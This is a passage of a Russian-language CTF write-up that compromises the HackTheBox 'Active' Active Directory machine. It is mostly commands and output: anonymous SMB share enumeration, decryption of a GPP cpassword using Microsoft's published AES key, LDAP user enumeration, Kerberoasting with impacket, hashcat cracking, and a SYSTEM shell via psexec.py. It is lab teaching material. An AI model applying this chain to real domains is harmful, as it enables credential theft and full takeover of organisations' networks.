|_smb‐enum‐services: ERROR: Script execution failed (use ‐d to debug)

Host script results:
|_clock‐skew: mean: ‐7m06s, deviation: 0s, median: ‐7m06s
|_fcrdns: FAIL (No PTR record)
|_ipidseq: Incremental!
|_msrpc‐enum: Could not negotiate a connection:SMB: ERROR: Server dis‐
connected the connection
|_path‐mtu: PMTU == 1500
| smb‐mbenum:
|_  ERROR: Failed to connect to browser service: Could not negotiate a 
connection:SMB: ERROR: Server disconnected the connection
| smb‐protocols:
|   dialects:
|     2.02
|_    2.10
| smb2‐capabilities:
|   2.02:
|     Distributed File System
|   2.10:
|     Distributed File System
|     Leasing
|_    Multi‐credit operations
| smb2‐security‐mode:
|   2.02:
|_    Message signing enabled and required
| smb2‐time:
|   date: 2018‐12‐15 23:57:31
|_  start_date: 2018‐12‐11 03:34:26
| unusual‐port:
|_  WARNING: this script depends on Nmap's service/version detection (‐
sV)

Post‐scan script results:
| reverse‐index:
|_  445/tcp: 10.10.10.100
# Nmap done at Sun Dec 16 00:05:02 2018 ‐‐ 1 IP address (1 host up) 
scanned in 71.04 seconds

Нес мотря  на  обширный  вывод,  ничего  полез ного  мы  не  наш ли,  толь ко
еще раз под твер дили, что это про токол вто рой вер сии — SMBv2. Идем даль‐ 
ше.

smbclient
Ути лита  smbclient  слу жит  в  Linux  для  под клю чения  к  SMB.  Для  начала  пос‐ 
мотрим,  какие  SMB‐ресур сы  есть  на  хос те.  Ано ним ного  (Null  Authentication)
дос тупа для это го будет дос таточ но.

 

 

root@kali:~# smbclient ‐N ‐L 10.10.10.100 
 

  
 
 

 
 

 
 

 
 

 
 

 

Anonymous login successful

Sharename       Type      Comment
‐‐‐‐‐‐‐‐‐       ‐‐‐‐      ‐‐‐‐‐‐‐
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
Replication     Disk
SYSVOL          Disk      Logon server share
Users           Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_‐
FOUND)
Failed to connect with SMB1 ‐‐ no workgroup available

Единс твен ная  дирек тория,  к  которой  есть  дос туп  с  Null  Authentication,  —
это Replication, реп лициро ван ное хра нили ще, по сути копия сис темно го тома
SYSVOL.  Это  чрез вычай но  инте рес ный  момент  с  точ ки  зре ния  потен циаль‐ 
ного повыше ния при виле гий в сис теме, так как SYSVOL содер жит файл нас‐ 
тро ек  груп повых  политик,  изна чаль но  дос тупный  лишь  авто ризи рован ным
поль зовате лям.

Взгля нем на содер жимое Replication.

 

 

root@kali:~# smbclient ‐N "\10.10.10.100\Replication" 
 

 
smb: > dir 

 
 
 

  

Anonymous login successful
Try "help" to get a list of possible commands.

.              D    0  Sat Jul 21 13:37:44 2018

..             D    0  Sat Jul 21 13:37:44 2018
active.htb     D    0  Sat Jul 21 13:37:44 2018

10459647 blocks of size 4096. 4946059 blocks available

Что бы  не  ходить  по  вло жен ным  дирек тори ям  вруч ную,  вос поль зуем ся  сле‐ 
дующей хит ростью: акти виру ем опцию рекур сивно го обхо да шары, вык лючим
надо едли вый промпт,  что бы он не зас тавлял нас под тверждать  каж дое дей‐ 
ствие, и сде лаем пол ный сле пок Replication, как показа но ниже.

 

 

smb: > recurse ON 
smb: > prompt OFF 
smb: > mget * 

 

 

 

 

 

 

getting file \active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐
00C04FB984F9}\GPT.INI of size 23 as GPT.INI (0.0 KiloBytes/sec) (average 
0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐
00C04FB984F9}\Group Policy\GPE.INI of size 119 as GPE.INI (0.2 Kilo‐
Bytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐
00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 
1098 as GptTmpl.inf (2.0 KiloBytes/sec) (average 0.7 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐
00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as 
Groups.xml (1.0 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐
00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Registry.pol (5.1 
KiloBytes/sec) (average 1.7 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C‐016F‐11D2‐945F‐
00C04fB984F9}\GPT.INI of size 22 as GPT.INI (0.0 KiloBytes/sec) (average 
1.4 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C‐016F‐11D2‐945F‐
00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 
3722 as GptTmpl.inf (6.8 KiloBytes/sec) (average 2.2 KiloBytes/sec)

Те перь мы име ем офлай новую копию пап ки Replication. Вывес ти спи сок фай‐ 
лов для более наг лядно го ана лиза содер жимого мож но с помощью  .find

 

 

root@kali:~# find active.htb ‐type f 

 

 

 

 
 

 

active.htb/Policies/{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}/Group Policy/
GPE.INI
active.htb/Policies/{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}/MACHINE/Reg‐
istry.pol
active.htb/Policies/{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}/MACHINE/Mi‐
crosoft/Windows NT/SecEdit/GptTmpl.inf
active.htb/Policies/{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}/MACHINE/Pref‐
erences/Groups/Groups.xml
active.htb/Policies/{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}/GPT.INI
active.htb/Policies/{6AC1786C‐016F‐11D2‐945F‐00C04fB984F9}/MACHINE/Mi‐
crosoft/Windows NT/SecEdit/GptTmpl.inf
active.htb/Policies/{6AC1786C‐016F‐11D2‐945F‐00C04fB984F9}/GPT.INI

По ка  не будем  зарывать ся  даль ше,  а  прой дем ся  по дру гим раз ведыва тель‐ 
ным ути литам.

smbmap
Вмес то smbclient мож но исполь зовать smbmap — это более удоб ный инс тру‐ 
мент,  который  поз воля ет  про вер нуть  то  же  самое  с  мень шим  чис лом  дей‐ 
ствий. Сна чала прос каниру ем сер вер целиком.

 

 

root@kali:~# smbmap ‐d active.htb ‐H 10.10.10.100 
 

 
 

 
 

 
 
 
 
 
 

[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
Disk                Permissions
‐‐‐‐                ‐‐‐‐‐‐‐‐‐‐‐
ADMIN$              NO ACCESS
C$                  NO ACCESS
IPC$                NO ACCESS
NETLOGON            NO ACCESS
Replication         READ ONLY
SYSVOL              NO ACCESS
Users               NO ACCESS

Сра зу видим, что нам дос тупно с текущи ми пра вами (в дан ном слу чае Null Au‐
thentication), — весь ма удоб но. Теперь одной коман дой поп росим у smbmap
рекур сивный лис тинг фай лов дирек тории Replication.

 

 

root@kali:~# smbmap ‐d active.htb ‐H 10.10.10.100 ‐R Replication 
 

 
 

 
 

 
 

 
 

 
 

 
 

 
 
 

 
 
 

 
 

 
 

 
 

 

 
 

 
 

 
 

 
 

 
 
 

 
 

 
 

 
 
 

 
 
 

 

 
 
 

 

 
 
 

 

 
 
 

 

 
 
 

 
 

 
 

 
 

 
 

 
 

 

 
 
 

 

 
 
 

 

 
 
 

[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
Disk                                                    Permissions
‐‐‐‐                                                    ‐‐‐‐‐‐‐‐‐‐‐
Replication                                             READ ONLY
.\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    active.htb
.\\active.htb\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    DfsrPrivate
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Policies
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    scripts
.\\active.htb\DfsrPrivate\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ConflictAnd‐
Deleted
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Deleted
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Installing
.\\active.htb\Policies\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    {31B2F340‐016D‐
11D2‐945F‐00C04FB984F9}
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    {6AC1786C‐016F‐
11D2‐945F‐00C04fB984F9}
.\\active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
‐r‐‐r‐‐r‐‐               23 Sat Jul 21 13:38:11 2018    GPT.INI
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Group Policy
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    MACHINE
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    USER
.\\active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}\Group Pol‐
icy\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
‐r‐‐r‐‐r‐‐              119 Sat Jul 21 13:38:11 2018    GPE.INI
.\\active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}\MACHINE\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Microsoft
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Preferences
‐r‐‐r‐‐r‐‐             2788 Sat Jul 21 13:38:11 2018    Registry.pol
.\\active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}\MACHINE\
Microsoft\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Windows NT
.\\active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}\MACHINE\
Microsoft\Windows NT\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    SecEdit
.\\active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}\MACHINE\
Microsoft\Windows NT\SecEdit\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
‐r‐‐r‐‐r‐‐             1098 Sat Jul 21 13:38:11 2018    GptTmpl.inf
.\\active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}\MACHINE\
Preferences\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Groups
.\\active.htb\Policies\{31B2F340‐016D‐11D2‐945F‐00C04FB984F9}\MACHINE\
Preferences\Groups\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
‐r‐‐r‐‐r‐‐              533 Sat Jul 21 13:38:11 2018    Groups.xml
.\\active.htb\Policies\{6AC1786C‐016F‐11D2‐945F‐00C04fB984F9}\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
‐r‐‐r‐‐r‐‐               22 Sat Jul 21 13:38:11 2018    GPT.INI
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    MACHINE
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    USER
.\\active.htb\Policies\{6AC1786C‐016F‐11D2‐945F‐00C04fB984F9}\MACHINE\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Microsoft
.\\active.htb\Policies\{6AC1786C‐016F‐11D2‐945F‐00C04fB984F9}\MACHINE\
Microsoft\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    Windows NT
.\\active.htb\Policies\{6AC1786C‐016F‐11D2‐945F‐00C04fB984F9}\MACHINE\
Microsoft\Windows NT\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    SecEdit
.\\active.htb\Policies\{6AC1786C‐016F‐11D2‐945F‐00C04fB984F9}\MACHINE\
Microsoft\Windows NT\SecEdit\
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    .
dr‐‐r‐‐r‐‐                0 Sat Jul 21 13:37:44 2018    ..
‐r‐‐r‐‐r‐‐             3722 Sat Jul 21 13:38:11 2018    GptTmpl.inf

И в качес тве финаль ного штри ха забира ем пон равив ший ся нам файл (спой‐ 
лер: это  ), ука зав при этом флаг  , что бы не смот реть на лис тинг
лиш ний раз.

Groups.xml ‐q

 

 

root@kali:~# smbmap ‐H 10.10.10.100 ‐R Replication ‐A Groups.xml ‐q 
 

 
 

 
 

 

 

[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
Disk                       Permissions
‐‐‐‐                       ‐‐‐‐‐‐‐‐‐‐‐
Replication                READ ONLY
[+] Starting search for files matching 'Groups.xml' on share Replica‐
tion.
[+] Match found! Downloading: Replication\active.htb\Policies\{31B2F340‐
016D‐11D2‐945F‐00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

WWW

Вот еще пара раз ведс крип тов.
  —  клас сика  жан ра.  Эта  написан ная

на Perl  соф тина  нем ного  уста рела,  но  неп лохо
помога ет  в  сбо ре  информа ции  о  Windows
и Samba.

•enum4linux

  —  обновлен ная  и  перепи сан ная
на  Python  аль тер натива  enum4linux.  Дела ет  то
же,  но  кра сивее  и  без  кучи  сооб щений
об ошиб ках.

•nullinux.py

GPP (GROUP POLICY PREFERENCES)
Пе рей дем к прос мотру того, что мы смог ли вытащить с SMB.

Средс тво для  управле ния пред почте ниями  груп повых политик, или Group
Policy  Preferences  (GPP),  было  пред став лено  в  2008  году  в  Windows  Server
и упро щает жизнь адми нис тра торам домена. С помощью GPP они могут цен‐ 
тра лизо ван но  управлять  парамет рами  безопас ности  поль зовате лей  и  групп
по всей сво ей сети.

Нап ример,  админ  обна ружил,  что  пароль  локаль ного  адми нис тра тора
не соот ветс тву ет полити ке безопас ности, и решил его изме нить. В этом слу‐ 
чае новый пароль  зашиф рует ся  клю чом AES‐256 и  экспор тиру ется  в Group‐
s.xml (что бы не потерять!). Это тот самый файл, который мы зах ватили вмес те
с пап кой Replication.

Од нако  в  2012  году  сот рудни ки  Microsoft  по  какой‐то  при чине  решили
откры то    тот  самый  ключ  шиф рования  на  MSDN,  и  с  тех  пор
пароли, уста нов ленные с помощью GPP, боль ше не счи тают ся безопас ными.
Теперь даже прик леить сти кер с таким паролем на монитор кажет ся мень шим
ван дализ мом — так к нему хотя бы не дотянуть ся по сети.

опуб ликовать

Опуб ликован ный на MSDN ключ AES‐256 для шиф рования паролей
из Groups.xml

И  нес мотря  на  вышед ший  в  2014  году  патч,  зап реща ющий  хра нить  пароли
в Groups.xml, в 2019‐м все рав но оста ется веро ятность нат кнуть ся на 

, и эта машина — как раз наш слу чай.
ошиб ки

кон фигура ции такого рода

 

 

root@kali:~# cat Groups.xml 
 

 

<?xml version="1.0" encoding="utf‐8"?>
<Groups clsid="{3125E937‐EB16‐4b4c‐9934‐544FC6D24D26}"><User clsid="{
DF5F1855‐51E5‐4d24‐8B1A‐D9BDE98BA1D1}" name="active.htb\SVC_TGS" 
image="2" changed="2018‐07‐18 20:46:06" uid="{EF57DA28‐5F69‐4530‐A59E‐
AAB58578219D}"><Properties action="U" newName="" fullName="" descrip‐
tion="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeX‐
OsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" nev‐
erExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>User>
Groups>

По ле    содер жит  пароль  поль зовате ля  ,
зашиф рован ный клю чом Microsoft... Уже не сек ретным клю чом Microsoft.

cpassword active.htb\SVC_TGS

 

 

root@kali:~# cat Groups.xml | grep ‐o 'cpassword="[  

 

"]+"|userName="["]+"'

cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xU‐
jTLfCuNH8pG5aSVYdYw/NglVmQ"
userName="active.htb\SVC_TGS"

Продолжение статьи →

https://github.com/portcullislabs/enum4linux
https://github.com/m8r0wn/nullinux
https://msdn.microsoft.com/en-us/library/cc422924.aspx
https://adsecurity.org/?p=2288


УКРОЩЕНИЕ
KERBEROS

ЗАХВАТЫВАЕМ ACTIVE DIRECTORY
НА ВИРТУАЛЬНОЙ МАШИНЕ С HACKTHEBOX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Дек рипт cpassword
gpp-decrypt
В  Kali  Linux  есть  штат ная  ути лита  для  рас шифров ки  паролей  GPP  —  gpp‐
decrypt.

 

 

root@kali:~# gpp‐decrypt 
'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuN‐
H8pG5aSVYdYw/NglVmQ' 

 
/usr/bin/gpp‐decrypt:21: warning: constant OpenSSL::Cipher::Cipher is 
deprecated
GPPstillStandingStrong2k18

Скрипт на PowerShell
Так же  есть  инте рес ный  скрипт  для  PowerShell,  который  выпол няет  ту  же
задачу. Пол ную вер сию ты можешь  , я же исполь зовал толь ко
нуж ный кусочек, взя тый из ком мента риев  .

най ти на GitHub
в бло ге авто ра

function getpwd([string]$Cpassword) {
 $pl = $Cpassword.length % 4
 if($pl ‐eq 0){$pad = ""}
 else{$Pad = "=" * (4 ‐ ($Cpassword.length % 4))}
 $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
 # Create a new AES .NET Crypto Object
 $AesObject = New‐Object System.Security.Cryptography.AesCry

ptoServiceProvider
 # Static Key from http://msdn.microsoft.com/en‐us/library/

2c15cbf0‐f086‐4c74‐8b70‐1f2fa45dd4be%28v=PROT.13%29#endNote2
 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,

0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,
0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
 # Set IV to all nulls (thanks Matt) to prevent dynamic generation 

of IV value
 $AesIV = New‐Object Byte[]($AesObject.IV.Length)
 $AesObject.IV = $AesIV
 $AesObject.Key = $AesKey
 $DecryptorObject = $AesObject.CreateDecryptor()
 [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64

Decoded, 0, $Base64Decoded.length)

 return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}

Рас шифро выва ем пароль GPP с помощью скрип та на PowerShell

В любом слу чае мы получи ли авто риза цион ные дан ные: 
.

SVC_TGS:GPPstill‐
StandingStrong2k18

PrivEsc: Anonymous → SVC_TGS
По лучив поль зователь ский дос туп к SMB, заберем пер вый флаг из 

.
\\10.10.

10.100\Users

 

 

root@kali:~# smbmap ‐d active.htb ‐u SVC_TGS ‐p GPPstillStand‐
ingStrong2k18 ‐H 10.10.10.100 ‐R Users ‐A user.txt ‐q 

 
 
 

 
 

 
 

[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
Disk                       Permissions
‐‐‐‐                       ‐‐‐‐‐‐‐‐‐‐‐
Users                      READ ONLY
[+] Starting search for files matching 'user.txt' on share Users.
[+] Match found! Downloading: Users\SVC_TGS\Desktop\user.txt

user.txt
 

 

root@kali:~# cat /usr/share/smbmap/10.10.10.100‐Users_SVC_TGS_Desk‐
top_user.txt 
86d67d8b????????????????????????

Мон тирова ние SMB
Для  более  деталь ного  изу чения  содер жимого  дирек торий  мож но  мон‐ 
тировать SMB‐шару. Для при мера возь мем ту же  .//10.10.10.100/Users

 

 

root@kali:~# mount ‐t cifs //10.10.10.100/Users /mnt/smb ‐v ‐o 
user=SVC_TGS,pass=GPPstillStandingStrong2k18 

 
root@kali:~# ls ‐la /mnt/smb 

 
 
 

 

 
 

 
 

 

mount.cifs kernel mount options: ip=10.10.10.100,unc=\\10.10.10.100\
Users,user=SVC_TGS,pass=********

total 33
drwxr‐xr‐x 2 root root 4096 Jul 21 17:39  .
drwxr‐xr‐x 3 root root 4096 Aug  8 15:54  ..
drwxr‐xr‐x 2 root root    0 Jul 16 13:14  Administrator
l‐‐‐‐‐‐‐‐‐ 1 root root    0 Jul 14  2009 'All Users' ‐> '/??/C:/Program‐
Data'
drwxr‐xr‐x 2 root root 8192 Jul 14  2009  Default
drwxr‐xr‐x 2 root root 8192 Jul 14  2009 'Default User'
‐rwxr‐xr‐x 1 root root  174 Jul 14  2009  desktop.ini
drwxr‐xr‐x 2 root root 4096 Jul 14  2009  Public
drwxr‐xr‐x 2 root root 4096 Jul 21 18:16  SVC_TGS

При мон тирован ный SMB‐ресурс в Kali Linux

ПОЛУЧЕНИЕ ПОЛЬЗОВАТЕЛЕЙ AD
Итак,  у  нас  есть  акка унт  внут ри  домена.  Мож но  вос поль зовать ся  ути литой
ldapsearch  для  поис ка  записей  о  поль зовате лях  домена  в  служ бе  катало га,
дос тупной  по  про токо лу  LDAP.  Исполь зование  филь тра 

  со  зна чени ем    ,  что  мы
получим информа цию толь ко об активных акка унтах AD.

useraccountcon‐
trol:1.2.840.113556.1.4.803: 2 га ран тиру ет

 

 

root@kali:~# ldapsearch ‐x ‐h 10.10.10.100 ‐p 389 ‐D 'SVC_TGS' ‐w 'GPP‐
stillStandingStrong2k18'‐b "dc=active,dc=htb" ‐s sub"(&
(objectCategory=person)(objectClass=user)(!
(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep 
sAMAccountNamePage 

 sAMAccountName: Administrator
sAMAccountName: SVC_TGS

То же самое мож но было получить с помощью кол лекции скрип тов на Python
.impacket

 

 

root@kali:~# GetADUsers.py ‐all active.htb/SVC_TGS:GPPstillStand‐
ingStrong2k18 ‐dc‐ip 10.10.10.100 
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[*] Querying 10.10.10.100 for information about domain.
Name           Email   PasswordLastSet      LastLogon
‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
Administrator          2018‐07‐18 22:06:40  2018‐12‐11 04:20:35
Guest                  <never>              <never>
krbtgt                 2018‐07‐18 21:50:36  <never>
SVC_TGS                2018‐07‐18 23:14:38  2018‐12‐13 23:30:55

KERBEROASTING — ПОРТ 88
Од на  из  тех ник  повыше ния  при виле гий  в  рам ках  сис темы  аутен тифика ции
Kerberos называ ется Kerberoasting (игра слов: Kerberos + roasting = «про жар ка
Kerberos»). Она была пред став лена Тимом Медином на кон ферен ции Derby‐
Con в 2014 году ( ).PDF

Ос новная идея ата ки: если нуж ный нам акка унт (адми нис тра тор, конеч но)
ассо цииро ван с записью SPN (Service Principal Name), мы можем поп росить
у цен тра рас пре деле ния клю чей сис темы Kerberos (KDC, Key Distribution Cen‐
ter)  на  кон трол лере  соот ветс тву ющий  тикет  TGS  (Ticket  Granting  Service),
который будет содер жать хеш пароля от это го акка унта.

Ес ли пароль сла бый, мы лег ко вос ста новим его в офлай не. Это воз можно
потому, что   — ответ Kerberos на такой зап рос — будет зашиф рован
с  помощью  хеша  NTLM‐пароля  того  акка унта,  от  име ни  которо го  запущен
сер вис.

TGS_REP

Се тевые вза имо дей ствия при подоб ной ата ке отра жены на рисун ке ниже.

Схе ма выпол нения ата ки Kerberoasting

WWW

Ес ли  любишь  такое  чти во,  то  о  Kerberoasting
можешь почитать в этих стать ях.
•Kerberoasting Without Mimikatz
•Kerberoasting  —  Stealing  Service  Account
Credentials

По луче ние SPN поль зовате лей AD
Для  перечис ления  (enumeration)  прин ципалов  раз верну тых  сер висов  (SPN)
мож но еще вос поль зовать ся поис ком по LDAP.

 

 

root@kali:~# ldapsearch ‐x ‐h 10.10.10.100 ‐p 389 ‐D 'SVC_TGS' ‐w'GPP‐
stillStandingStrong2k18' ‐b "dc=active,dc=htb" ‐s sub"(&
(objectCategory=person)(objectClass=user)(!
(useraccountcontrol:1.2.840.113556.1.4.803:=2))
(serviceprincipalname= ))" serviceprincipalname | grep‐B 1 servicePrin‐
cipalName 

/

servicePrincipleName: active/CIFS:445

Или мож но при помощи  impacket сра зу сдам пить хеш TGS най ден ного акка‐ 
унта. Для это го есть флаг  .‐request

 

 

root@kali:~# GetUserSPNs.py active.htb/SVC_TGS:GPPstillStand‐
ingStrong2k18 ‐dc‐ip 10.10.10.100 ‐request ‐output tgs‐administra‐
tor.hash 

 
  

 

 

 
  
root@kali:~# cat tgs‐administrator.hash 
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ServicePrincipalName  Name           MemberOf                                     
PasswordLastSet      LastLogon
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,
CN=Users,DC=active,DC=htb  2018‐07‐18 22:06:40  2018‐12‐11 04:20:35

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*...[хеш‐
значение]...

Вос ста нов ление пароля адми на
Вос ста нав ливать про образ хеша будем с помощью  . С этой задачей
может спра вить ся и  .

Hashcat
John The Ripper вер сии Jumbo

Для начала заг лянем в   по режимам Hashcat и выяс ним, что нуж‐ 
ный нам режим — 13100. Теперь все готово для вос ста нов ления пароля.

шпар галку

 

 

root@kali:~# hashcat ‐a 0 ‐m 13100 tgs‐administrator.hash 
/usr/share/wordlists/rockyou.txt ‐‐force 
root@kali:~# hashcat ‐m 13100 tgs‐administrator.hash ‐‐show 
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*...[хеш‐
значение]...:Ticketmaster1968

Ус пех. Авто риза цион ные дан ные для при виле гиро ван ного дос тупа — 
.

Admin‐
istrator:Ticketmaster1968

PrivEsc: SVC_TGS → Administrator
Мо жем  заб рать  пос ледний  флаг    из  домаш ней  дирек тории  адми‐ 
нис тра тора  с  помощью  smbmap  точ но  так  же,  как  я  показал  это  ранее,
а  можем  с  помощью  скрип та    ини цииро вать  супер поль зователь‐ 
скую сес сию.

root.txt

psexec.py

 

 

root@kali:~# psexec.py 
active.htb/Administrator:Ticketmaster1968@10.10.10.100 

 
  

 
 
 

 
 

 
 

Microsoft Windows [Version 6.1.7601] 
Copyright (c) 2009 Microsoft Corporation. All rights reserved. 
  
C:\Windows\system32>whoami 
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[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file hPUtqrwN.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service QclS on 10.10.10.100.....
[*] Starting service QclS.....
[!] Press help for extra shell commands

nt authority\system

root.txt
 

 

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt 
b5fc76d1????????????????????????

На этом все, теперь сис тема пол ностью под нашим кон тро лем.

 

 

C:\Windows\system32>exit 
 

 
 
 

[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.10.10.100.....
[*] Stopping service QclS.....
